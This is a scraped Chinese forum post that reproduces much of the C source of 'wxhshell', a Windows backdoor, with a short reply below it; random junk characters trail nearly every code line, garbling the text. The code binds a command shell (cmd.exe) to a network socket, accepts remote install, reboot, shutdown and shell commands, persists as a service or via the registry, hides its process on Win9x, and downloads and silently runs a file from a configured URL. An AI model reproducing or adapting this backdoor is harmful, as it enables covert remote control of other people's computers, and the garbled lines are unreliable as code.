  else o56`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cUqn<Z<n  
  } m p<1yY]  
  else { &wd;EGGT!q  
]Y6cwZOe  
    switch(cmd[0]) { -m'j]1  
  i"zuil  
  // 帮助 jdKOb  
  case '?': { I jr\5FA[p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sw^X2$h  
    break; 65 z"  
  } ^ &E}r{?  
  // 安装 kp?w2+rz  
  case 'i': { 1XG!$ 4DW  
    if(Install()) OJT1d-5p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YzosZ! L!<  
    else 4p%A8%/q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bn 6WjJ~Z+  
    break; J{[n?/A{  
    } 7e7 M@8+4  
  // 卸载 =/<LSeLxH  
  case 'r': { T@}|zDC#  
    if(Uninstall()) .)1_Ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _(J&aY\  
    else g&dPd7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IcP)FB 4  
    break; 4=uhh  
    } 64Lx -avf  
  // 显示 wxhshell 所在路径 4?N8R$  
  case 'p': { }'r[m5T  
    char svExeFile[MAX_PATH]; !-s!f&_  
    strcpy(svExeFile,"\n\r"); j Ja$a [  
      strcat(svExeFile,ExeFile); Nu8Sr]p  
        send(wsh,svExeFile,strlen(svExeFile),0); =_j vk.  
    break; FYs)M O  
    } umz;F  
  // 重启 %1pYE Hn  
  case 'b': { "~UUx"Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - (#I3h;I  
    if(Boot(REBOOT)) js1!9%BV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"]n:M:(  
    else { y(R? ,wa=]  
    closesocket(wsh); YV=QF J'  
    ExitThread(0); 2|\A7.  
    } *5bLe'^\|K  
    break; Y_`-9'&  
    } <Q|d&vDVfV  
  // 关机 5J8r8` t  
  case 'd': { '` 'GK&)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9nu3+.&P  
    if(Boot(SHUTDOWN)) Qf@I)4'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3Gjg{-N7  
    else {  $R<Me  
    closesocket(wsh); nRd)++  
    ExitThread(0); 4|A>b})H  
    } 0$r^C6}f  
    break; FP[!BUOf"  
    } B^).BQ  
  // 获取shell aq7~QX_0G  
  case 's': { "3FihE]k  
    CmdShell(wsh); 5s(1[(  
    closesocket(wsh); *<1r3!  
    ExitThread(0); @aJ!PV'ms  
    break; EpQ8a[<-3  
  } `3p~m,  
  // 退出 c8Z wr]DF  
  case 'x': { 12Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1+?^0%AC  
    CloseIt(wsh); hsu{eyp  
    break; fnx-s{c?  
    } q7u'_ R,;  
  // 离开 UMX@7a,[3  
  case 'q': { (a9d/3M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tTd\|  
    closesocket(wsh); 1;<R#>&,*  
    WSACleanup(); <\?wAjc,  
    exit(1); (sWLhUgRX  
    break; G[jW<'f  
        } E*i#?u  
  } _X?^Cy  
  } ctcS:<r/3@  
V|\7')Qq  
  // 提示信息 F;^F+H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e%W$*f  
} yCCrK@{oo  
  } r(gXoq_w  
!?Wp+e6  
  return; 4&l10fR5  
} !A48TgAeE  
]qhPd_$?D'  
// shell模块句柄 Sna4wkbS  
int CmdShell(SOCKET sock) ;# Q%j%J  
{ 3_A *$  
STARTUPINFO si; hMtf.3S7c  
ZeroMemory(&si,sizeof(si)); 86nN"!{l:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; arf8xqR-U]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +^;JS3p@\  
PROCESS_INFORMATION ProcessInfo; <$JaWL  
char cmdline[]="cmd"; (p%>j0<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A_KW(;50  
  return 0; >M&3Y XC  
} ](|\whI  
>LDhU%bH  
// 自身启动模式 ?7{H|sI  
int StartFromService(void) eF2|Wjl``;  
{ qW b+r  
typedef struct =*Bl|;>6  
{ l&?ii68/  
  DWORD ExitStatus; )=Jk@yj8x  
  DWORD PebBaseAddress; y( y8+ZT  
  DWORD AffinityMask; B#9{-t3Vf  
  DWORD BasePriority; ?IpLf\n-  
  ULONG UniqueProcessId; (W}bG>!#Q8  
  ULONG InheritedFromUniqueProcessId; >rvQw63\  
}   PROCESS_BASIC_INFORMATION; }f2r!7:x  
U(x]O/m  
PROCNTQSIP NtQueryInformationProcess; m8.U &0  
2 3gPbtq/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .9.2Be  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y|wc ,n%L>  
XVU2T5s}  
  HANDLE             hProcess; z?35=%~w   
  PROCESS_BASIC_INFORMATION pbi; (y^vqMz  
1)Zf3Y8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TsTPj8GAl[  
  if(NULL == hInst ) return 0; ({o'd=nO  
K$d$m <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hJPlq0C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QE7V. >J_p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c*~]zR>s!  
13Lr }M&  
  if (!NtQueryInformationProcess) return 0; %iw3oh&Fkm  
63A}TBC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }u1O#L}F5  
  if(!hProcess) return 0; Vx-7\NB  
^aW Z!gi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t45Z@hmcW  
0bo/XUpi  
  CloseHandle(hProcess); }}<z/zN&^  
c/ uNM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,~._}E&9I  
if(hProcess==NULL) return 0; %;D.vKoh  
xMBaVlEN  
HMODULE hMod; - |gmQG  
char procName[255]; LW(6$hpPp  
unsigned long cbNeeded; !kC* g  
k!{p7*0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $kQ~d8 O  
fDP$ sW  
  CloseHandle(hProcess); nl9P, d  
,UuH}E  
if(strstr(procName,"services")) return 1; // 以服务启动 CJhL)0Cs  
3)RsLI9  
  return 0; // 注册表启动 vY_-Ranj#.  
} ZWS`\M  
a`0=AQ  
// 主模块 KI+VXH}Y5{  
int StartWxhshell(LPSTR lpCmdLine) ,GgAsj: K  
{ MuSUKBhM  
  SOCKET wsl; M %Qt|@O  
BOOL val=TRUE;  E6WA}_  
  int port=0; iJ~Vl"|m  
  struct sockaddr_in door; GQ-Rtn4v  
y8DhOlewQ  
  if(wscfg.ws_autoins) Install(); y\x+  
/:FOPPs  
port=atoi(lpCmdLine); b Ax?&$  
}-@`9(o`)  
if(port<=0) port=wscfg.ws_port; }RP @!=  
d \35a4l  
  WSADATA data; GDuMY\1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \W`w` o  
)Qvk*9OS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x)_0OR2lkp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n\Lb.}]1~  
  door.sin_family = AF_INET; l\n@cQR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kTvd+TP4  
  door.sin_port = htons(port); &e8s65`  
t N2Md}@e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !e?.6% %   
closesocket(wsl); R,Vd.-5M  
return 1; c?@T1h4  
} p*P)KP  
&/Q0  
  if(listen(wsl,2) == INVALID_SOCKET) { u#@Q:tnN_  
closesocket(wsl); q?ix$nKOv  
return 1; "V}[':fen  
} ny54XjtG,  
  Wxhshell(wsl); Ct%x&m:  
  WSACleanup(); G2FXrkU  
J^g!++|2P  
return 0; dYgXtl=#j  
T|6a("RL  
} &sd}ulEg`  
Tq4-wE+  
// 以NT服务方式启动 W='> :H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U,.![TP  
{ z+>}RT]  
DWORD   status = 0; tmtT (  
  DWORD   specificError = 0xfffffff; ::/j$bL  
9U%N@Dq`Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E^ SH\5B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zO MA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /ID?DtJ  
  serviceStatus.dwWin32ExitCode     = 0; x>Jr_A(  
  serviceStatus.dwServiceSpecificExitCode = 0; GbaEgA'fa  
  serviceStatus.dwCheckPoint       = 0; f-7 1~  
  serviceStatus.dwWaitHint       = 0; x UD-iSY  
qZA).12qS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `FC(  
  if (hServiceStatusHandle==0) return; Kc^;vT>3  
*C:|X b<9  
status = GetLastError(); +PuPO9jKO@  
  if (status!=NO_ERROR) #&7}-"Nd  
{ 2m2;t0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TG5XSy  
    serviceStatus.dwCheckPoint       = 0; P->y_4O  
    serviceStatus.dwWaitHint       = 0; ]:~OG@(  
    serviceStatus.dwWin32ExitCode     = status; o+$7'+y1n-  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ht4;5?/y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5kz)5,KjM  
    return; Ez-[ )44/  
  } 2]ape !(  
>cCR2j,r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; go<W( ,O  
  serviceStatus.dwCheckPoint       = 0; ..R-Ms)k=  
  serviceStatus.dwWaitHint       = 0; '^"6+k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X.e7A/ClEo  
} 5>\/[I/!  
[ E ]E  
// 处理NT服务事件,比如:启动、停止 w&KK3*=""  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n .RhxgC<  
{ w:<W.7y?0  
switch(fdwControl) _}En/V_  
{ 9^p;UA  
case SERVICE_CONTROL_STOP: 4BKI-;v$  
  serviceStatus.dwWin32ExitCode = 0; \<)9?M :  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4zo5}L `Y  
  serviceStatus.dwCheckPoint   = 0; % V ;?  
  serviceStatus.dwWaitHint     = 0; E!P yL>){  
  { y7i*s^ys{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K]9"_UnN  
  } k4 [|'Dk?  
  return; X]dwX%:Z!j  
case SERVICE_CONTROL_PAUSE: !f+H,]D"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9amaL~m  
  break; C-H@8p?T  
case SERVICE_CONTROL_CONTINUE: `u&Zrdr,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dp*u9z~NA  
  break; F;<xnC{[  
case SERVICE_CONTROL_INTERROGATE: B,=H@[Fj  
  break; /x1![$oC0  
}; &mtJRfnu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HI11Jl}{  
} | ]X  
|YY_^C`"-  
// 标准应用程序主函数 ]f({`&K5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]&pds\  
{ M!XsJ<jN/  
z=3\Ab  
// 获取操作系统版本 -#HA"7XOE  
OsIsNt=GetOsVer(); hs$GN]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0PrLuejz  
t?'!$6   
  // 从命令行安装 aiu5}%U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 'Worj  
/ :n#`o=;  
  // 下载执行文件 F 70R1OYU  
if(wscfg.ws_downexe) { f V'ZsJ N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gvr@|{k  
  WinExec(wscfg.ws_filenam,SW_HIDE); \hEN4V[  
} o_^?n[4  
`I,,C,{C  
if(!OsIsNt) { n*{sTT  
// 如果时win9x,隐藏进程并且设置为注册表启动 <t \H^H!  
HideProc();  N#a$t&  
StartWxhshell(lpCmdLine); D5*q7A6  
} LBa[:j2  
else 3 C<L  
  if(StartFromService()) cZ2kYn 8  
  // 以服务方式启动 [CXrSST")E  
  StartServiceCtrlDispatcher(DispatchTable); ?3.b{Cq{-  
else <yH4HY  
  // 普通方式启动 J.xPv)1'  
  StartWxhshell(lpCmdLine); *=I}Qh(1  
#/<&*Pu5t  
return 0; U5.LDv;  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五